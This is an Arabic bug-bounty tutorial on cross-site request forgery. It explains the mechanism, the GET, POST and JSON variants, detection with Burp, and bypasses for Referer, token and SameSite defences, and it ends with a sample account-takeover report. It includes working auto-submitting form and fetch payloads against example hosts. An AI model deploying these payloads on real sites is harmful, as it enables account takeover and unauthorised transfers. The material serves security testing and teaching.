ثغرات CSRF: الدليل الشامل من الفهم إلى الاستغلال والمكافأة

CSRF (Cross-Site Request Forgery) هي ثغرة تُجبر متصفح الضحية على إرسال طلب HTTP لتطبيق تكون الضحية مُسجّلة دخولها فيه — دون علمها أو موافقتها.

تخيّل: الضحية مُسجّلة في موقع بنكها. تفتح رابطًا أرسلته لها. في الخلفية، الصفحة تُرسل طلبًا باسمها لتحويل مبلغ من حسابها. لم تضغط شيئًا — الـ Browser أرسل الطلب تلقائيًا مع الـ Cookies.

---

كيف تعمل CSRF

المتطلبات الثلاثة:

1. الضحية مُسجّلة الدخول في التطبيق المستهدف
2. التطبيق يعتمد فقط على الـ Cookies للمصادقة (بلا CSRF token)
3. الضحية تزور صفحة المهاجم (أو تفتح رابطًا)

مثال بسيط:

<!-- صفحة المهاجم -->
<img src="https://bank.example.com/transfer?amount=1000&to=attacker_account" 
     width="0" height="0">

عندما يفتح المتصفح هذه الصفحة، يُرسل GET request لـ bank.example.com مع Cookies الضحية تلقائيًا.

---

أنواع CSRF

1. GET-based CSRF

<img src="https://example.com/change-email?email=attacker@evil.com">
<iframe src="https://example.com/delete-account?confirm=yes"></iframe>

2. POST-based CSRF

<form id="csrf-form" action="https://example.com/transfer" method="POST">
  <input type="hidden" name="amount" value="5000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.getElementById('csrf-form').submit();</script>

3. JSON CSRF

<script>
  fetch('https://api.example.com/update-profile', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'text/plain'},  // تجنب CORS preflight
    body: '{"email":"attacker@evil.com"}'
  });
</script>

---

كيف تكتشف CSRF

الخطوة 1: ابحث عن إجراءات حساسة

• تغيير البريد الإلكتروني أو كلمة المرور
• تحويل أموال أو نقاط
• حذف الحساب أو البيانات
• تغيير الإعدادات الأمنية (MFA، sessions)
• إضافة Admin أو مستخدمين

الخطوة 2: تحقق من غياب CSRF Protection

في Burp Suite، التقط الـ Request وابحث عن:

• csrf_token في الـ form fields
• X-CSRF-Token في الـ headers
• SameSite=Strict في الـ cookies

إذا لم تجد أيًا منها = CSRF مرشّح.

الخطوة 3: اختبر الحذف

# في Burp Repeater، احذف الـ CSRF token وأعد الإرسال
# إذا نجح الطلب بدون token = CSRF confirmed

---

تقنيات Bypass لحمايات CSRF

تجاوز Referer Check

# بعض التطبيقات تتحقق من Referer Header فقط
# جرّب إرسال طلب بلا Referer header:
Referer: 

# أو referer يحتوي domain الهدف كـ subdomain:
# ضع صفحتك على: https://bank.example.com.evil.com/attack

تجاوز Token ضعيف

# إذا كان الـ CSRF token قابلًا للتخمين (timestamp-based)
import time
token = str(int(time.time()))  # token = UNIX timestamp

CSRF عبر CORS Misconfiguration

// إذا كان الـ API يقبل Origin: null
fetch('https://api.example.com/admin', {
  method: 'POST',
  credentials: 'include',
  // الطلب من iframe sandbox يُرسل Origin: null
})

SameSite Bypass عبر Subdomain

# إذا كان subdomain.example.com مخترقًا
# يمكن إرسال CSRF request لـ example.com
# لأن SameSite=Lax يسمح للـ Subdomains

---

مثال تقرير CSRF كامل

Title: CSRF in POST /settings/change-email allows account takeover

Summary:
The email change endpoint lacks CSRF protection. An attacker can create 
a malicious page that silently changes the victim's email address, 
then use "Forgot Password" to take over the account.

Impact:
Full account takeover for any authenticated user who visits the 
attacker's page. No user interaction required beyond visiting a link.

Steps to Reproduce:
1. Log in as victim to example.com
2. Open attacker's page (see PoC below) in the same browser
3. Victim's email is silently changed to attacker@evil.com
4. Attacker uses "Forgot Password" with attacker@evil.com
5. Full account takeover achieved

PoC HTML:
<form action="https://example.com/settings/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>

Severity: High (Account Takeover via CSRF)

---

الخلاصة

CSRF في إجراءات حساسة (تغيير بيانات الحساب، الدفع، حذف المحتوى) لا تزال ثغرة ذات قيمة عالية. تحقق دائمًا من غياب الـ CSRF token في كل طلب يُعدّل حالة الخادم (POST/PUT/DELETE). والأهم: أثبت التأثير الكامل — CSRF + Account Takeover chain تضاعف قيمة التقرير.